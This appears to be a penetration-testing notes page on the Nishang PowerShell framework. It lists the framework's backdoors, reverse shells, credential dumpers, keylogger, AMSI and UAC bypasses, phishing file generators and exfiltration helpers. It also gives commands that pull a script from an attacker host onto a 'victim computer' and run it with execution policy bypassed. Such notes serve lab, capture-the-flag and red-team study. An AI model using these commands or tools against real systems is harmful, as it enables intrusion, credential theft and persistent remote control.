Nishang
Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of pene
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Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of pene
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Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
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Also installed by default on Kali:
We will need to upload the nishang scripts into the victim computer:
powershell iwr -uri 10.10.14.14/{Nishang script}
Load the script:
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1
Nishang currently contains the following scripts and payloads.
 – Find computers in active directory which have Kerberos Unconstrained Delegation enabled.
 – Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell.
 – A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory.
 – A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.
 – A backdoor which can execute PowerShell scripts at a given time on a target.
 – A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it.
 – A backdoor which can use Windows screen saver for remote command and script execution.
 – A backdoor which can use alternate data streams and Windows Registry to achieve persistence.
 – A backdoor which uses well known Debugger trick to execute payload with Sticky keys and Utilman (Windows key + U).
 – Modify permissions of DCOM and WMI namespaces to allow access to a non-admin user.
 – Modify permissions of PowerShell remoting to allow access to a non-admin user.
 – Implementation of publicly known methods to bypass/avoid AMSI.
 – Create infected CHM files which can execute PowerShell commands and scripts.
 – Create Word files and infect existing ones to run PowerShell commands and scripts.
 – Create Excel files and infect existing ones to run PowerShell commands and scripts.
 – Create a HTA file which can be deployed on a web server and used in phishing campaigns.
 – Create signed JAR files which can be used with applets for script and command execution.
 – Create shortcut files capable of executing PowerShell commands and scripts.
 – Create IQY files for phishing credentials and SMB hashes.
 – Create JS files capable of executing PowerShell commands and scripts.
 – Create SCT files capable of executing PowerShell commands and scripts.
 – Create a SCF file which can be used for capturing NTLM hash challenges.
 – When SYSTEM privileges are required.
 – Introduce vulnerabilities by removing patches.
 – Bypass UAC.
 – Download and execute a PowerShell script in memory.
 – Download an executable in text format, convert it to an executable, and execute.
 – Run PowerShell commands, native commands, or SQL commands on a MSSQL Server with sufficient privileges.
 – Execute shellcode in memory using DNS TXT queries.
 – Execute PowerShell commands and scripts or a reverse PowerShell session using rundll32.exe.
 – Check for a virtual machine.
 – Copy the SAM file using Volume Shadow Copy Service.
 – Trick a user into giving credentials in plain text.
  – A pair of scripts for egress testing
 – Get juicy information from a target.
 – Get LSA Secret from a target.
 – Get password hashes from a target.
 – Get WLAN keys in plain text from a target.
 – Log keystrokes from a target.
 – Dump user passwords in plain on Windows 8.1 and Server 2012
 – Get password hints of Windows users from a target.
 – Connect back and Stream target screen using MJPEG.
 – Load mimikatz in memory. Updated and with some customisation.
 – Extract juicy information from target process (like browsers) memory using regex.
 – Exfiltrate information like user credentials, using WLAN SSID.
 – Identify admin jump-boxes and/or computers used to access Unix machines.
 – A local HTTPS proxy for MITM attacks. =
 – Check credentials on multiple computers and create PSSessions.
  – Copy and execute an executable on multiple machines.
  – Create network relays between computers.
 – Check running hashes of running process against the VirusTotal database.
 – Brute force FTP, Active Directory, MSSQL, and Sharepoint.
 – A handy port scanner.
 – All the functionality of nishang in a single script module.
 – Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent
 – Execute commands and scripts sent by Invoke-PsGcat.
 – An interactive PowerShell reverse connect or bind shell
 – Stripped down version of Invoke-PowerShellTcp. Also contains, a skeleton version which could fit in two tweets.
 – Bind version of Invoke-PowerShellTcpOneLine.
 – An interactive PowerShell reverse connect or bind shell over UDP
 – Stripped down version of Invoke-PowerShellUdp.
 – Reverse interactive PowerShell over HTTPS.
 – Reverse interactive PowerShell over HTTP.
 – Clean the system after using Invoke-PoshRatHttps
 – Interactive PowerShell using WMI.
 – An interactive PowerShell reverse shell over ICMP.
 – An interactive PowerShell reverse shell over HTTP using rundll32.exe.
 – An interactive PowerShell reverse shell over HTTP using regsvr32.exe.
 – Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script.
 – Add reboot persistence capability to a script.
 – Remote persistence added by the Add-Persistence script.
 – Pipe (|) this to any script to exfiltrate the output.
 – Transfer a file to the target.
 – Parse keys logged by the keylogger.
 – Encode and compress a script or string.
 – Decode and decompress a script or string from Invoke-Encode.
 – Run a web server which logs Basic authentication and SMB hashes.
 – Encode a string to ROT13 or decode a ROT13 string.
 – Generate DNS TXT records which could be used with other scripts.